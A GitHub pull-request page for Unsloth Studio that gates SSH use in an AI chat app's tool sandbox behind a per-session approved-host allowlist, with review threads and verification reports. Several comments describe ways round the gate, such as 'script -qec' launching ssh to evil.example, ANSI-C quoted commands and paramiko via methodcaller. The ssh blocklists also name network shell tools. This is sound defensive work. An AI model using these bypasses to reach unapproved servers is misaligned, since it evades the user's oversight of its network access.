Repository navigation
feat(studio): consistent SSH restrictions with approved-server allowlist - #10642
Conversation
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: e187ca0ada
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
|
This drops ssh, scp and sftp from the blocklist that _find_blocked_commands resolves shell quoting for, and the new check in ssh_policy.py matches the raw command text instead, which is why test_ansi_c_quoted_command_blocked had to lose its ssh assertion. Could you make the new gate run on the same resolved token list so the ANSI-C quoted form is still caught, and keep that test? |
Unsloth previously hard-blocked ssh/scp/sftp while Python SSH libraries like paramiko could bypass the same policy. Gate both terminal and python SSH usage behind a per-session approved-host allowlist, auto-approve targets when the user allows a gated tool call, and expose /ssh-approve endpoints. Fixes unslothai#10397
Run ssh_policy on the same ANSI-C-decoded shlex token list as _find_blocked_commands so $'ssh' user@host is still caught at command position. Restore the ANSI-C blocklist test via check_ssh_command_access.
Harden ssh_policy against Codex and maintainer review: - Parse ssh/scp argv with correct flag arity and -o HostName/ProxyJump - Preserve bracketed IPv6 hosts; handle scp host:path operands - Resolve paramiko/asyncssh/fabric connects via import and assignment tracking - Block subprocess/os.system SSH launches; fail closed on direct imports - Filter network blocks only on approved SSH connect lines - Clear SSH approvals when a sandbox session is removed
e770829 to
1ff7870
Compare
|
Thanks for reworking the gate onto the same ANSI-C decode and shlex tokenization and restoring test_ansi_c_quoted_command_blocked, that addresses what I asked for. Two things before I review: |
Resolve conflicts in tools, safetensors_agentic, and inference models while keeping SSH approval APIs and gating.
Use the first ssh positional operand as the destination so a dynamic target cannot be masked by a literal remote command. Exempt approved SSH connect calls from network blocks by AST span (with col_offset on violations), not whole source lines. Reconcile the ANSI-C blocklist param with the approval gate.
|
@alkinun — pushed Your two P1s
Your test note
Your "not repeating" items
Could you take another look when Backend CI is green? Thanks. |
|
Thanks for the follow-up — addressing both points on Shared walk with Agree Follow-up I'm planning (happy to do here if you prefer, but it's a sizable refactor):
If you'd rather block merge on (1)–(3), I can push a refactor commit on this branch; otherwise I'll open a small follow-up PR right after merge. Hosts that never appear as literals ( Current behavior is intentionally conservative:
So: we're not trying to be a full OpenSSH config simulator — we gate on what's statically visible in the tool argument, fail closed on obvious indirection, and rely on explicit user approval for literal targets (including alias names on the command line). Happy to tighten Review fixes (alkinun) On top of the above, |
|
SSH approval repairs verified at Native cmd extraction splits adjacent operators and preserves quoted/caret-escaped data. SCP/SFTP separate the host from the remote path before parsing usernames; @ in a path cannot change the approved destination, and local filenames containing @ are not remote-host candidates. Shell extraction shares the existing command walk, including forwarding launchers, timeout duration suffixes, wrappers, coprocesses, executable aliases, here-doc/newline boundaries and jump hosts; xargs-supplied SSH operands, parameter-expanded command assignments and SFTP command input fail closed. Git transports are also screened: SSH URLs, named/default remotes and opaque transport configuration fail closed, including after host approval because Git can redirect the destination. Direct approved SSH and tested local/non-SSH Git commands remain available. Python checks supported imported/assigned launchers including pty.spawn, literal reflective access, dynamic imports, partial wrappers, helper and method parameters, constructors, loop/comprehension targets, conditional and boolean selections, constructed-instance attributes, iterator selections, opaque function-result tracking, class-held clients, assignment expressions, keyword dictionaries, client subclasses, superclass calls, named/lambda factory helpers, Fabric groups, literal containers and context managers. Hidden configuration and socket overrides fail closed. Approvals are scoped to account and session; unrelated HTTP requests retain their network checks. OpenSSH requires Executed verification
Executed controls, commands and logs · Native policy run · Preserved XML · Merge evidence. Real OpenSSH, Paramiko 5.0.0, Fabric 3.2.3 and AsyncSSH 2.24.0 connect to a disposable SSH server. The latest native Windows control shows original base blocking adjacent cmd SSH with zero connections, reviewed head Additional original-base controls show two pre-existing confinement gaps: SSH launched from a script file and Paramiko connect dispatched through operator.methodcaller both execute the same remote marker with one connection on original base The mapping lookup finding also reproduces identically on the original base: On preceding head UI evidenceSeparate base/repaired builds and application homes restore actual SSH tool outputs through authenticated Studio chat history. Exact-head native Chrome, Edge and Safari captures and prospective-merge Chromium/Firefox captures pass and were manually inspected. Native run · Full originals, browser versions and comparisons. Edge comparison · Safari comparison. The unchanged original base capture is reused from its pinned run. Manual inspection caught an Edge card-transition capture in the preceding round; the corrected task-only harness waits for the transition and disables screenshot animations. Failed capture and explanation. These scenes show restored real tool cards, not model inference or a browser-driven Allow click. Local PR execution uses credential-free filesystem/network/PID namespaces; native CI uses disposable hosted VMs. Controls and source verificationBase Supported signatures and configuration behavior were checked against OpenSSH, SFTP, Paramiko, Fabric configuration, Fabric groups, AsyncSSH, Python asyncio, pty.spawn, getattr, dynamic imports, class attributes, method and constructor binding, classmethod, functools.partial, Bash parameter expansion, and Bash here-documents, Git URLs, and Git configuration, and AsyncSSH reverse direction, and Python conditional/boolean AST nodes, and instance objects, and Python iterator builtins. The live test corrected an earlier invalid ProxyCommand keyword fixture to the installed API's Native Windows operator and quoting behavior was checked against Microsoft cmd documentation. |
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 318746441f
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: f7f620ff5c
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if _ssh_segments is not None and base in ( | ||
| _HIGH_RISK_FORWARDING_COMMANDS - _EXEC_FLAG_FORWARDING_COMMANDS | ||
| ): | ||
| ssh_forwarding = base |
There was a problem hiding this comment.
Scan commands launched by script before allowing SSH
When the sandbox includes util-linux script, a call such as script -qec 'ssh -F none evil.example' /dev/null bypasses the host gate because this forwarding branch only recognizes entries in _HIGH_RISK_FORWARDING_COMMANDS, and script is not one of them. I verified locally that script launches the -c payload, and its --help describes -c, --command <command> as running that command; _find_ssh_command_segments() therefore returns no SSH segment, so with permission_mode="off" the newly unblocked ssh reaches an unapproved server. Treat script -c/--command as a nested shell command (the same issue also affects Python subprocess calls routed through this walker).
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Rejected as a pre-existing confinement gap. I reran the actual _bash_exec tool with util-linux script -qec against a disposable SSH server: original base 9bef060 and current head 35c117f each returned pr10642-live-ssh-ok with exactly one connection before approval. tools.py:1615-1618 limits forwarding detection to _HIGH_RISK_FORWARDING_COMMANDS; script is absent, but the original base also permits this command. The claimed regression from unblocking SSH is therefore disproved; no source change is warranted. The existing round30_script_live.py probe reproduced both results in separate filesystem/network namespaces. The command behavior agrees with the official util-linux manual.
|
@codex review |
|
pre-commit.ci run |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 35c117fdf3
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 30fd1189d8
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: c8b9a563ea
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if name and symbol.split(".", 1)[0] in _SSH_PY_ROOT_MODULES: | ||
| bindings[name] = symbol |
There was a problem hiding this comment.
Clear stale SSH bindings when names are rebound
When an imported SSH symbol is later rebound to a non-SSH object, this conditional leaves the original binding in place. For example, from fabric import Connection; from pathlib import Path; Connection = Path; Connection('artifact') is classified as a Fabric connection and rejected by _check_code_safety, although it only constructs a local path and the existing generic safety analysis permits it. Function parameters and bindings in unrelated lexical scopes have the same problem because bindings are collected globally with ast.walk; account for rebinding order and scope instead of retaining the stale SSH identity.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Reproduced the conservative rejection: ssh_policy.py:545-547 retains imported SSH identity, so rebinding fabric.Connection to pathlib.Path yields ({"artifact"}, True, True), while ordinary Path("artifact") remains allowed. Rejected under the review scope for uncommon rebinding/lexical-shadowing cases: this does not execute an unapproved connection, and removing a global binding would also erase earlier real SSH uses; precise ordering and lexical-scope interpretation would expand this patch into a different static-analysis project. No source change. Python binding and scope semantics.
|
Converged: Four repair commits were pushed to the existing branch: Verification: 981 focused policy, provider, GGUF, safetensors and confirmation tests passed after the sessionless repair. The final policy and sandbox run passes 726 tests with one platform skip. Endpoint and SFTP regressions failed before their repairs. Real SSH controls verified blocking before approval and removal of sessionless permission afterward. A real SFTP download through tee made zero connections before approval, then one connection and downloaded the expected 25-byte file after approval. Ruff, pinned-formatter stability and pre-push review passed for both subsequent repairs. Final CI snapshot: three successful checks, four skipped, 41 queued, none failing. Pre-commit passes on the final head. The earlier formatting failure reported an autofix conflict on three upstream-only files. Its prepared patch preserved their ASTs but could not apply to the older PR source; subsequent runs passed without that patch, an upstream merge, a rebase, or a hook exclusion. No merge or close action was taken. |
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: c8b9a563ea
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: e17ddd7bf8
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
@codex review |
|
Codex Review: Didn't find any major issues. 🎉 Reviewed commit: ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
|
@codex security review |

Summary
Fixes #10397 by making SSH restrictions consistent across terminal commands and Python libraries, while allowing users to explicitly approve deployment targets.
Previously, Unsloth hard-blocked
ssh/scp/sftpat execution time (even after the user approved the tool call), but Python SSH libraries such as paramiko, asyncssh, and fabric could bypass the same policy—especially with dynamic hostnames.This PR gates both paths behind a per-session approved-server allowlist.
Problem
ssh user@hostwas always rejected at runtime (Blocked command(s) for safety: ssh)paramiko.SSHClient().connect(hostname)with a variable host could slip through static analysisSolution
Consistent blocking
ssh/slogin/scp/sftpfrom the unconditional hard blocklistssh,scp,sftpparamiko,asyncssh,fabricconnect/connection patternsssh $HOST,connect(hostname)) until a literal host is approvedApproved-server workflow
ssh [email protected] ./deploy.sh(or equivalent paramiko code)API
POST /api/inference/ssh-approve— explicitly approve host(s) for a sessionGET /api/inference/ssh-approved— list approved hosts for a sessionKey files
studio/backend/core/inference/ssh_policy.pystudio/backend/state/ssh_approvals.pystudio/backend/core/inference/tools.py_bash_exec,_python_exec,_check_code_safetystudio/backend/core/inference/studio_tool_loop.pystudio/backend/tests/test_ssh_policy.pyFollow-ups (out of scope)